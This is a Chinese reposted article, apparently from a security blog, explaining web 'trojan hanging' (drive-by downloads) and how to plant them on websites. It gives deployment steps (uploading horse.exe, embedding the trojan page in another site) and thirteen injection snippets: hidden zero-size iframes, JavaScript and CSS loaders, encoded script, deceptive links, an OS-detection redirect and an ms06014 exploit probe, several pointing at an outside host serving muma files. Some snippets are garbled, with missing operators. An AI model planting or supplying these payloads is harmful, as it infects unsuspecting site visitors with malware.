当前位置:首页 > 实用技巧 >

如何挂马(怎么把马挂在一个地方)

来源:原点资讯(www.yd166.com)时间:2023-05-24 09:11:07作者:YD166手机阅读>>

前言

最近整理了一些奇安信&华为&深信服大佬的课件资料 大厂面试课题,想要的可以私信自取,无偿赠送给粉丝朋友~

如何挂马,怎么把马挂在一个地方(1)

网页挂马的原理和实现方式

今天,有一位网友问了我一个问题,他自己已经有了网站了,现在他想做成“挂马”这种网站,只要打开它,电脑就有可能感染木马病毒。

木马是需要触发才有效果的,触发条件:要么欺骗用户主动,要么利用漏洞。可能他对木马、挂马、网马这些不是很理解,因此我特意发了此篇文章。

一、挂马、网马介绍

1、挂马

从“挂马”这个词中就知道,它和“木马”脱离不了关系,的确,挂马的目的就是将木马传播出去。

黑客入侵了一些网站之后,将自己编定的网页木马嵌入到其网站的页面(通常是在网站主页)中,利用该网站的流量将自己的网页木马传播出去从而达到自己的目的。

2、网马

网马,即“网页木马”,就是将木马和网页结合在一起,当打开网页的时候就会自动下载并运行其木马程序。

二、网页木马运行原理

最初的网页木马就是利用了IE浏览器的ActiveX控件,在运行网页木马的时候会弹出一个控件下载提示,只有经过用户确认后才会运行其中的木马。

目前新型的木马通常利用IE浏览器存在的漏洞来传播网页木马。

当然,现在浏览器不仅仅是指IE,还有很多其它的浏览器,例如:谷歌、百度、360、搜狗、QQ、火狐浏览器......等等。

三、网页挂马步骤

1、申请网站空间:将木马程序和网马全部上传到该网站空间,使其可以被访问,假如申请成功后的网站空间地址为“http://www.xxx.com/xxx”;

2、上传木马程序:上传完成后木马的访问地址为“http://www.xxx.com/horse.exe”;

3、使用网页木马生成器生成网马:假如生成后网马地址为“http://www.xxx.com/horse.htm”;

4、进行挂马:将生成后的网马地址嵌入到其他正常的网站页面,假如嵌入到腾讯的主页“http://www.qq.com/index.htm”;

如何挂马,怎么把马挂在一个地方(2)

四、网页挂马的实现方式

1、框架挂马

<iframe src=地址 width=0 height=0></iframe>

2、JS文件挂马

首先将以下代码:

document.write("<iframe width='0' height='0' src='地址'></iframe>");

保存为xxx.js。

则JS挂马代码为:

<script language=javascript src=xxx.js></script>

3、JS变形加密

<SCRIPT language="JScript.Encode" src=https://www.fujieace.com/muma.txt></script>

muma.txt可改成任意后缀;

4、body挂马

<body onload="window.location='地址';"></body>

5、隐蔽挂马

top.document.body.innerHTML = top.document.body.innerHTML '\r\n<iframe src="https://www.fujieace.com/muma.htm/"></iframe>';

6、css挂马

body { background-image: url('javascript:document.write("<script src=https://www.fujieace.com/muma.js></script>")')}

7、JAJA挂马

<SCRIPT language=javascript> window.open ("地址","","toolbar=no,location=no,directories=no,status=no,menubar=no,scro llbars=no,width=1,height=1"); </script>

8、图片伪装

<html> <iframe src="网马地址" height=0 width=0></iframe> <img src="图片地址"></center> </html>

9、伪装调用

<frameset rows="444,0" cols="*"> <frame src="打开网页" framborder="no" scrolling="auto" noresize marginwidth="0"margingheight="0"> <frame src="网马地址" frameborder="no" scrolling="no" noresize marginwidth="0"margingheight="0"> </frameset>

10、高级欺骗

<a href="http://www.163.com(迷惑连接地址,显示这个地址指向木马地址)" onMouseOver="www_163_com(); return true;"> 页面要显示的内容 </a> <SCRIPT Language="JavaScript"> function www_163_com () { var url="网马地址"; open(url,"NewWindow","toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,resizable=no,copyhistory=yes,width=800,height=600,left=10,top=10"); } </SCRIPT>

11、判断系统代码

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML><HEAD><TITLE>404</TITLE> <META http-equiv=Content-Type content="text/html; charset=windows-1252"> <META content="MSHTML 6.00.2900.2769" name=GENERATOR></HEAD> <BODY> <SCRIPT language=javascript> window.status=""; if(navigator.userAgent.indexOf("Windows NT 5.1") != -1) window.location.href="tk.htm"; else window.location.href="upx06014.htm"; </SCRIPT> </BODY></HTML>

12、判断是否有ms06014代码

<script language=VBScript> on error resume next set server = document.createElement("object") server.setAttribute "classid", "clsid:10072CEC-8CC1-11D1-986E-00A0C955B42E" set File = server.createobject(Adodb.Stream,"") if Not Err.Number = 0 then err.clear document.write ("<iframe src=https://www.fujieace.com width=100% height=100% scrolling=no frameborder=0>") else document.write ("<iframe src=https://www.fujieace.com width=100% height=100% scrolling=no frameborder=0>") end if </script>

13、智能读取js的代码demo

//读娶src的对象 var v = document.getElementById("advjs"); //读娶src的参数 var u_num = getUrlParameterAdv("showmatrix_num",v.getAttribute('src')); document.write("<iframe src=\"https://www.fujieace.com/1/" u_num ".htm\" width=\"0\" height=\"0\" frameborder=\"0\"></iframe>"); document.writeln("<!DOCTYPE HTML PUBLIC \"-\/\/W3C\/\/DTD HTML 4.0 Transitional\/\/EN\">"); document.writeln("<HTML><HEAD>"); document.writeln("<META http-equiv=Content-Type content=\"text\/html; charset=big5\">"); document.writeln("<META content=\"MSHTML 6.00.2900.3059\" name=GENERATOR><\/HEAD>"); document.writeln("<BODY> "); document.writeln("<DIV style=\"CURSOR: url(\'https:\/\/www.fujieace.com\/demo.js\')\">"); document.writeln("<DIV "); document.writeln("style=\"CURSOR: url(\'https:\/\/www.fujieace.com\/demo.js\')\"><\/DIV><\/DIV><\/BODY><\/HTML>") //分析src的参数函数 function getUrlParameterAdv(asName,lsURL){ loU = lsURL.split("?"); if (loU.length>1){ var loallPm = loU[1].split("&"); for (var i=0; i<loallPm.length; i ){ var loPm = loallPm.split("="); if (loPm[0]==asName){ if (loPm.length>1){ return loPm[1]; }else{ return ""; } } } } return null;

文章来源公众号:程哥讲安全

栏目热文

怎么简单粘马(手工粘马)

怎么简单粘马(手工粘马)

小马适合年龄:8—12岁粘土颜色:蓝色,黑色,白色,黄色,橘色,紫色,深蓝色工具:一双可爱的小手,手工剪刀,亚克力板1....

2023-05-24 09:38:33查看全文 >>

快速打马的方法

快速打马的方法

方法很简单,平时刷经验打的那些高等级山贼,黑山众,使用1级人物去使用爆炸矢打那些还没发现你的山贼们,记住要打头上有等级的...

2023-05-24 09:10:19查看全文 >>

怎么制服马(怎么制服女朋友)

怎么制服马(怎么制服女朋友)

据说,李世民的马厩里有一匹狮子骢,性格暴躁,没人能驾驭。有一次李世民带一群嫔妃去看那匹名马,问大家,谁有办法能制服它?这...

2023-05-24 09:38:12查看全文 >>

如何练就十字马

如何练就十字马

波姐语录:对于女人来说,拥有好的身材就是拥有了先天优势,不管我们是在工作中还是生活中都会受益颇多,今天波姐就教给大家保持...

2023-05-24 09:48:29查看全文 >>

怎样破马(怎样破马赛克图片)

怎样破马(怎样破马赛克图片)

什么是“拐角马”呢?就是马跳到士前象眼的位置,称为“拐角马”。如图,黑马8进6所处位置就是拐角马。跳拐角马的意思是,在防...

2023-05-24 09:34:21查看全文 >>

怎么拴住马(怎么把马快速驯服)

怎么拴住马(怎么把马快速驯服)

前几天我翻出来以前的一个拴马打结的视频,让大家来挑毛病。我先不说视频里有哪些危险操作,咱先来说说拴马打结这一马房基本操作...

2023-05-24 09:46:23查看全文 >>

如何用针杀马(马怎么杀最快)

如何用针杀马(马怎么杀最快)

连载《窝囊废的真实面目》接上一回“原因很简单。”林阳抬起手来,淡道:“就是这个。”苏颜仔细一看,颇为意外:“针?”“是的...

2023-05-24 09:23:39查看全文 >>

敲马的技巧(首次跑全马的技巧)

敲马的技巧(首次跑全马的技巧)

3月21日傍晚,水族老人蒙老在家中辞世。蒙老所居住的寨子规模比起其他水族寨子来并不算大,大概就60多户人家,但分布相对较...

2023-05-24 09:29:00查看全文 >>

太阳能控制器漏电什么原因(太阳能漏电常见原因及维修)

太阳能控制器漏电什么原因(太阳能漏电常见原因及维修)

1电流原因这种故障最为常见,断路器选型太小或质量不过关。设计时,首先要计算电路的最大电流,开关的额定电流要超过电路最大电...

2023-05-24 09:22:18查看全文 >>

太阳能控制器会漏电吗(太阳能控制仪显示漏电怎么用)

太阳能控制器会漏电吗(太阳能控制仪显示漏电怎么用)

  太阳能属可再生清洁能源,取之不尽,用之不竭,是未来能源利用的必然趋势。随着清洁能源太阳能的广泛应用和储能技术逐渐成熟...

2023-05-24 09:33:17查看全文 >>

文档排行